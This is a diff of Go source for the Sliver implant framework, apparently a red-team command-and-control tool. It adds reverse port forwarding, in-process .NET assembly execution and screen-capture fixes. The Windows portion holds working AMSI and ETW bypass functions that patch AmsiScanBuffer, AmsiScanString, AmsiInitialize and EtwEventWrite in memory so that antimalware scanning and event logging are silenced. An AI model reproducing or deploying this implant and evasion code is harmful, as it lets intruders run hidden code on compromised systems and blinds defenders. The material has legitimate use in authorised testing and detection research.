You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// Portfwds - Struct instance that holds all the portfwds
|
||||
Portfwds = portfwds{
|
||||
forwards: map[int]*Portfwd{},
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
|
||||
portfwdID = 0
|
||||
)
|
||||
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type PortfwdMeta struct {
|
||||
ID int
|
||||
SessionID string
|
||||
BindAddr string
|
||||
RemoteAddr string
|
||||
}
|
||||
|
||||
// Portfwd - Tracks portfwd<->tcpproxy
|
||||
type Portfwd struct {
|
||||
ID int
|
||||
TCPProxy *tcpproxy.Proxy
|
||||
ChannelProxy *ChannelProxy
|
||||
}
|
||||
|
||||
// GetMetadata - Get metadata about the portfwd
|
||||
func (p *Portfwd) GetMetadata() *PortfwdMeta {
|
||||
return &PortfwdMeta{
|
||||
ID: p.ID,
|
||||
BindAddr: p.ChannelProxy.BindAddr,
|
||||
RemoteAddr: p.ChannelProxy.RemoteAddr,
|
||||
}
|
||||
}
|
||||
|
||||
type portfwds struct {
|
||||
forwards map[int]*Portfwd
|
||||
mutex *sync.RWMutex
|
||||
}
|
||||
|
||||
// Add - Add a TCP proxy instance
|
||||
func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd {
|
||||
f.mutex.Lock()
|
||||
defer f.mutex.Unlock()
|
||||
portfwd := &Portfwd{
|
||||
ID: nextPortfwdID(),
|
||||
TCPProxy: tcpProxy,
|
||||
ChannelProxy: channelProxy,
|
||||
}
|
||||
f.forwards[portfwd.ID] = portfwd
|
||||
return portfwd
|
||||
}
|
||||
|
||||
// Remove - Remove a TCP proxy instance
|
||||
func (f *portfwds) Remove(portfwdID int) *Portfwd {
|
||||
f.mutex.Lock()
|
||||
defer f.mutex.Unlock()
|
||||
if portfwd, ok := f.forwards[portfwdID]; ok {
|
||||
portfwd.TCPProxy.Close()
|
||||
delete(f.forwards, portfwdID)
|
||||
return portfwd
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// List - List all TCP proxy instances
|
||||
func (f *portfwds) List() []*PortfwdMeta {
|
||||
f.mutex.RLock()
|
||||
defer f.mutex.RUnlock()
|
||||
portForwards := []*PortfwdMeta{}
|
||||
for _, portfwd := range f.forwards {
|
||||
portForwards = append(portForwards, portfwd.GetMetadata())
|
||||
}
|
||||
return portForwards
|
||||
}
|
||||
|
||||
// ChannelProxy binds the Sliver Tunnel to a net.Conn object
|
||||
// one ChannelProxy per port bind.
|
||||
//
|
||||
// Implements the Target interface from tcpproxy pkg
|
||||
type ChannelProxy struct {
|
||||
Conn *transports.Connection
|
||||
//Session *clientpb.Session
|
||||
|
||||
BindAddr string
|
||||
RemoteAddr string
|
||||
KeepAlivePeriod time.Duration
|
||||
DialTimeout time.Duration
|
||||
}
|
||||
|
||||
// HandleConn - Handle a TCP connection
|
||||
func (p *ChannelProxy) HandleConn(src net.Conn) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcpproxy] Handling new connection")
|
||||
// {{end}}
|
||||
ctx := context.Background()
|
||||
var cancelContext context.CancelFunc
|
||||
if p.DialTimeout >= 0 {
|
||||
ctx, cancelContext = context.WithTimeout(ctx, p.dialTimeout())
|
||||
}
|
||||
if conn, ok := src.(*net.TCPConn); ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Configuring keep alive")
|
||||
// {{end}}
|
||||
conn.SetKeepAlive(true)
|
||||
// TODO: Make KeepAlive configurable
|
||||
conn.SetKeepAlivePeriod(30 * time.Second)
|
||||
}
|
||||
// Add tunnel
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[rportfwd] Creating tcp tunnel")
|
||||
// {{end}}
|
||||
|
||||
tId := NewTunnelID()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d", tId)
|
||||
// {{end}}
|
||||
|
||||
tunnel := transports.NewTunnel(
|
||||
tId,
|
||||
src,
|
||||
src,
|
||||
)
|
||||
p.Conn.AddTunnel(tunnel)
|
||||
cleanup := func(reason error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := p.Conn.Tunnel(tunnel.ID)
|
||||
p.Conn.RemoveTunnel(tunnel.ID)
|
||||
src.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
go func() {
|
||||
tWriter := tunnelWriter{
|
||||
tun: tunnel,
|
||||
conn: p.Conn,
|
||||
host: p.Host(),
|
||||
port: p.Port(),
|
||||
protocol: sliverpb.PortFwdProtoTCP,
|
||||
tunnelID: tId,
|
||||
}
|
||||
// portfwd only uses one reader, hence the tunnel.Readers[0]
|
||||
n, err := io.Copy(tWriter, tunnel.Readers[0])
|
||||
_ = n // avoid not used compiler error if debug mode is disabled
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
|
||||
// {{end}}
|
||||
|
||||
cleanup(err)
|
||||
}()
|
||||
}
|
||||
|
||||
// HostPort - Returns the host and port of the TCP proxy
|
||||
func (p *ChannelProxy) HostPort() (string, uint32) {
|
||||
defaultPort := uint32(8080)
|
||||
host, rawPort, err := net.SplitHostPort(p.RemoteAddr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse addr %s", p.RemoteAddr)
|
||||
// {{end}}
|
||||
return "", defaultPort
|
||||
}
|
||||
portNumber, err := strconv.Atoi(rawPort)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse number from %s", rawPort)
|
||||
// {{end}}
|
||||
return "", defaultPort
|
||||
}
|
||||
port := uint32(portNumber)
|
||||
if port < 1 || 65535 < port {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid port number %d", port)
|
||||
// {{end}}
|
||||
return "", defaultPort
|
||||
}
|
||||
return host, port
|
||||
}
|
||||
|
||||
// Port - Returns the TCP port of the proxy
|
||||
func (p *ChannelProxy) Port() uint32 {
|
||||
_, port := p.HostPort()
|
||||
return port
|
||||
}
|
||||
|
||||
// Host - Returns the host (i.e., interface) of the TCP proxy
|
||||
func (p *ChannelProxy) Host() string {
|
||||
host, _ := p.HostPort()
|
||||
return host
|
||||
}
|
||||
|
||||
func (p *ChannelProxy) dialTimeout() time.Duration {
|
||||
if p.DialTimeout > 0 {
|
||||
return p.DialTimeout
|
||||
}
|
||||
return 30 * time.Second
|
||||
}
|
||||
|
||||
func nextPortfwdID() int {
|
||||
portfwdID++
|
||||
return portfwdID
|
||||
}
|
||||
|
||||
// NewTunnelID - New 64-bit identifier
|
||||
func NewTunnelID() uint64 {
|
||||
randBuf := make([]byte, 8)
|
||||
rand.Read(randBuf)
|
||||
return binary.LittleEndian.Uint64(randBuf)
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// tunnelWriter - Sends data back to the server based on data read()
|
||||
// I know the reader/writer stuff is a little hard to keep track of
|
||||
type tunnelWriter struct {
|
||||
tun *transports.Tunnel
|
||||
conn *transports.Connection
|
||||
host string
|
||||
port uint32
|
||||
protocol int
|
||||
tunnelID uint64
|
||||
}
|
||||
|
||||
func (tw tunnelWriter) Write(data []byte) (int, error) {
|
||||
n := len(data)
|
||||
createReverse := false
|
||||
rportfwdInfo := &sliverpb.RPortfwd{}
|
||||
if tw.tun.WriteSequence() == 0 {
|
||||
createReverse = true
|
||||
rportfwdInfo.Host = tw.host
|
||||
rportfwdInfo.Port = tw.port
|
||||
rportfwdInfo.Protocol = int32(tw.protocol)
|
||||
rportfwdInfo.TunnelID = tw.tunnelID
|
||||
}
|
||||
data, err := proto.Marshal(&sliverpb.TunnelData{
|
||||
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
|
||||
Ack: tw.tun.ReadSequence(),
|
||||
TunnelID: tw.tun.ID,
|
||||
Data: data,
|
||||
CreateReverse: createReverse,
|
||||
Rportfwd: rportfwdInfo,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
|
||||
// {{end}}
|
||||
tw.tun.IncWriteSequence() // Increment write sequence
|
||||
tw.conn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
@@ -58,9 +58,11 @@ func DarwinCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -47,9 +47,11 @@ func LinuxCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -47,9 +47,11 @@ func WindowsCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package service
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
+15
-15
@@ -51,6 +51,7 @@ import (
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
@@ -67,14 +68,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
InstanceID string
|
||||
|
||||
c2Servers = []string{
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
"{{$value}}", // {{$index}}
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
InstanceID string
|
||||
connectionErrors = 0
|
||||
)
|
||||
|
||||
@@ -202,7 +196,7 @@ func beaconStartup() {
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
beacons := transports.StartBeaconLoop(c2Servers, abort)
|
||||
beacons := transports.StartBeaconLoop(abort)
|
||||
for beacon := range beacons {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Next beacon = %v", beacon)
|
||||
@@ -234,7 +228,7 @@ func sessionStartup() {
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
connections := transports.StartConnectionLoop(c2Servers, abort)
|
||||
connections := transports.StartConnectionLoop(abort)
|
||||
for connection := range connections {
|
||||
if connection != nil {
|
||||
err := sessionMainLoop(connection)
|
||||
@@ -300,8 +294,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
Register: register,
|
||||
NextCheckin: int64(beacon.Duration().Seconds()),
|
||||
}))
|
||||
beacon.Close()
|
||||
time.Sleep(time.Second)
|
||||
beacon.Close()
|
||||
|
||||
// BeaconMain - Is executed in it's own goroutine as the function will block
|
||||
// until all tasks complete (in success or failure), if a task handler blocks
|
||||
@@ -353,6 +347,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] closing ...")
|
||||
// {{end}}
|
||||
time.Sleep(time.Second)
|
||||
beacon.Close()
|
||||
}()
|
||||
// {{if .Config.Debug}}
|
||||
@@ -480,9 +475,7 @@ func openSessionHandler(data []byte) {
|
||||
log.Printf("[beacon] failed to parse open session msg: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] open session -> %v", openSession.C2S)
|
||||
// {{end}}
|
||||
|
||||
if openSession.Delay != 0 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
|
||||
@@ -492,7 +485,7 @@ func openSessionHandler(data []byte) {
|
||||
|
||||
go func() {
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(openSession.C2S, abort)
|
||||
connections := transports.StartConnectionLoop(abort)
|
||||
defer func() { abort <- struct{}{} }()
|
||||
connectionAttempts := 0
|
||||
for connection := range connections {
|
||||
@@ -548,6 +541,7 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
tunHandlers := handlers.GetTunnelHandlers()
|
||||
sysHandlers := handlers.GetSystemHandlers()
|
||||
specialHandlers := handlers.GetSpecialHandlers()
|
||||
rportfwdHandlers := handlers.GetRportFwdHandlers()
|
||||
|
||||
for envelope := range connection.Recv {
|
||||
if handler, ok := specialHandlers[envelope.Type]; ok {
|
||||
@@ -560,6 +554,11 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else if handler, ok := sysHandlers[envelope.Type]; ok {
|
||||
// Beware, here be dragons.
|
||||
// This is required for the specific case of token impersonation:
|
||||
@@ -684,5 +683,6 @@ func registerSliver() *sliverpb.Register {
|
||||
ReconnectInterval: int64(transports.GetReconnectInterval()),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
PeerID: pivots.MyPeerID,
|
||||
Locale: locale.GetLocale(),
|
||||
}
|
||||
}
|
||||
@@ -1,12 +1,31 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package spoof
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package taskrunner
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"fmt"
|
||||
clr "github.com/Ne0nd0g/go-clr"
|
||||
"sync"
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
clrInstance *CLRInstance
|
||||
assemblies []*assembly
|
||||
)
|
||||
|
||||
type assembly struct {
|
||||
methodInfo *clr.MethodInfo
|
||||
hash [32]byte
|
||||
}
|
||||
|
||||
type CLRInstance struct {
|
||||
runtimeHost *clr.ICORRuntimeHost
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
|
||||
c.Lock()
|
||||
defer c.Unlock()
|
||||
if c.runtimeHost == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Initializing CLR runtime host")
|
||||
// {{end}}
|
||||
c.runtimeHost, _ = clr.LoadCLR(runtime)
|
||||
err := clr.RedirectStdoutStderr()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not redirect stdout/stderr: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return c.runtimeHost
|
||||
}
|
||||
|
||||
func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
|
||||
var (
|
||||
methodInfo *clr.MethodInfo
|
||||
err error
|
||||
)
|
||||
|
||||
rtHost := clrInstance.GetRuntimeHost(runtime)
|
||||
if rtHost == nil {
|
||||
return "", errors.New("Could not load CLR runtime host")
|
||||
}
|
||||
|
||||
if asm := getAssembly(data); asm != nil {
|
||||
methodInfo = asm.methodInfo
|
||||
} else {
|
||||
methodInfo, err = clr.LoadAssembly(rtHost, data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not load assembly: %v\n", err)
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
addAssembly(methodInfo, data)
|
||||
}
|
||||
if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
|
||||
// for methods like Main(String[] args), if we pass an empty string slice
|
||||
// the clr loader will not pass the argument and look for a method with
|
||||
// no arguments, which won't work
|
||||
assemblyArgs = []string{" "}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
|
||||
log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
|
||||
// {{end}}
|
||||
stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Got output: %s\n%s\n", stdout, stderr)
|
||||
// {{end}}
|
||||
return fmt.Sprintf("%s\n%s", stdout, stderr), nil
|
||||
}
|
||||
|
||||
func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
|
||||
asmHash := sha256.Sum256(data)
|
||||
asm := &assembly{methodInfo: methodInfo, hash: asmHash}
|
||||
assemblies = append(assemblies, asm)
|
||||
}
|
||||
|
||||
func getAssembly(data []byte) *assembly {
|
||||
asmHash := sha256.Sum256(data)
|
||||
for _, asm := range assemblies {
|
||||
if asm.hash == asmHash {
|
||||
return asm
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
clrInstance = &CLRInstance{}
|
||||
assemblies = make([]*assembly, 0)
|
||||
}
|
||||
@@ -200,6 +200,96 @@ func LocalTask(data []byte, rwxPages bool) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func patchAmsi() error {
|
||||
// load amsi.dll
|
||||
amsiDLL := windows.NewLazyDLL("amsi.dll")
|
||||
amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
|
||||
amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
|
||||
amsiScanString := amsiDLL.NewProc("AmsiScanString")
|
||||
|
||||
// patch
|
||||
amsiAddr := []uintptr{
|
||||
amsiScanBuffer.Addr(),
|
||||
amsiInitialize.Addr(),
|
||||
amsiScanString.Addr(),
|
||||
}
|
||||
patch := byte(0xC3)
|
||||
for _, addr := range amsiAddr {
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(addr)) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching AMSI")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(addr)) = 0xC3
|
||||
err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func patchEtw() error {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
|
||||
|
||||
// patch
|
||||
patch := byte(0xC3)
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching ETW")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
|
||||
err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
|
||||
if amsiBypass {
|
||||
err := patchAmsi()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
if etwBypass {
|
||||
err := patchEtw()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
|
||||
}
|
||||
|
||||
func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
|
||||
var (
|
||||
stdoutBuf, stderrBuf bytes.Buffer
|
||||
|
||||
@@ -0,0 +1,475 @@
|
||||
package tcpproxy
|
||||
|
||||
// Copyright 2017 Google Inc.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
// Package tcpproxy lets users build TCP proxies, optionally making
|
||||
// routing decisions based on HTTP/1 Host headers and the SNI hostname
|
||||
// in TLS connections.
|
||||
//
|
||||
// Typical usage:
|
||||
//
|
||||
// var p tcpproxy.Proxy
|
||||
// p.AddHTTPHostRoute(":80", "foo.com", tcpproxy.To("10.0.0.1:8081"))
|
||||
// p.AddHTTPHostRoute(":80", "bar.com", tcpproxy.To("10.0.0.2:8082"))
|
||||
// p.AddRoute(":80", tcpproxy.To("10.0.0.1:8081")) // fallback
|
||||
// p.AddSNIRoute(":443", "foo.com", tcpproxy.To("10.0.0.1:4431"))
|
||||
// p.AddSNIRoute(":443", "bar.com", tcpproxy.To("10.0.0.2:4432"))
|
||||
// p.AddRoute(":443", tcpproxy.To("10.0.0.1:4431")) // fallback
|
||||
// log.Fatal(p.Run())
|
||||
//
|
||||
// Calling Run (or Start) on a proxy also starts all the necessary
|
||||
// listeners.
|
||||
//
|
||||
// For each accepted connection, the rules for that ipPort are
|
||||
// matched, in order. If one matches (currently HTTP Host, SNI, or
|
||||
// always), then the connection is handed to the target.
|
||||
//
|
||||
// The two predefined Target implementations are:
|
||||
//
|
||||
// 1) DialProxy, proxying to another address (use the To func to return a
|
||||
// DialProxy value),
|
||||
//
|
||||
// 2) TargetListener, making the matched connection available via a
|
||||
// net.Listener.Accept call.
|
||||
//
|
||||
// But Target is an interface, so you can also write your own.
|
||||
//
|
||||
// Note that tcpproxy does not do any TLS encryption or decryption. It
|
||||
// only (via DialProxy) copies bytes around. The SNI hostname in the TLS
|
||||
// header is unencrypted, for better or worse.
|
||||
//
|
||||
// This package makes no API stability promises. If you depend on it,
|
||||
// vendor it.
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Proxy is a proxy. Its zero value is a valid proxy that does
|
||||
// nothing. Call methods to add routes before calling Start or Run.
|
||||
//
|
||||
// The order that routes are added in matters; each is matched in the order
|
||||
// registered.
|
||||
type Proxy struct {
|
||||
configs map[string]*config // ip:port => config
|
||||
|
||||
lns []net.Listener
|
||||
donec chan struct{} // closed before err
|
||||
err error // any error from listening
|
||||
|
||||
// ListenFunc optionally specifies an alternate listen
|
||||
// function. If nil, net.Dial is used.
|
||||
// The provided net is always "tcp".
|
||||
ListenFunc func(net, laddr string) (net.Listener, error)
|
||||
}
|
||||
|
||||
// Matcher reports whether hostname matches the Matcher's criteria.
|
||||
type Matcher func(ctx context.Context, hostname string) bool
|
||||
|
||||
// equals is a trivial Matcher that implements string equality.
|
||||
func equals(want string) Matcher {
|
||||
return func(_ context.Context, got string) bool {
|
||||
return want == got
|
||||
}
|
||||
}
|
||||
|
||||
// config contains the proxying state for one listener.
|
||||
type config struct {
|
||||
routes []route
|
||||
acmeTargets []Target // accumulates targets that should be probed for acme.
|
||||
stopACME bool // if true, AddSNIRoute doesn't add targets to acmeTargets.
|
||||
}
|
||||
|
||||
// A route matches a connection to a target.
|
||||
type route interface {
|
||||
// match examines the initial bytes of a connection, looking for a
|
||||
// match. If a match is found, match returns a non-nil Target to
|
||||
// which the stream should be proxied. match returns nil if the
|
||||
// connection doesn't match.
|
||||
//
|
||||
// match must not consume bytes from the given bufio.Reader, it
|
||||
// can only Peek.
|
||||
//
|
||||
// If an sni or host header was parsed successfully, that will be
|
||||
// returned as the second parameter.
|
||||
match(*bufio.Reader) (Target, string)
|
||||
}
|
||||
|
||||
func (p *Proxy) netListen() func(net, laddr string) (net.Listener, error) {
|
||||
if p.ListenFunc != nil {
|
||||
return p.ListenFunc
|
||||
}
|
||||
return net.Listen
|
||||
}
|
||||
|
||||
func (p *Proxy) configFor(ipPort string) *config {
|
||||
if p.configs == nil {
|
||||
p.configs = make(map[string]*config)
|
||||
}
|
||||
if p.configs[ipPort] == nil {
|
||||
p.configs[ipPort] = &config{}
|
||||
}
|
||||
return p.configs[ipPort]
|
||||
}
|
||||
|
||||
func (p *Proxy) addRoute(ipPort string, r route) {
|
||||
cfg := p.configFor(ipPort)
|
||||
cfg.routes = append(cfg.routes, r)
|
||||
}
|
||||
|
||||
// AddRoute appends an always-matching route to the ipPort listener,
|
||||
// directing any connection to dest.
|
||||
//
|
||||
// This is generally used as either the only rule (for simple TCP
|
||||
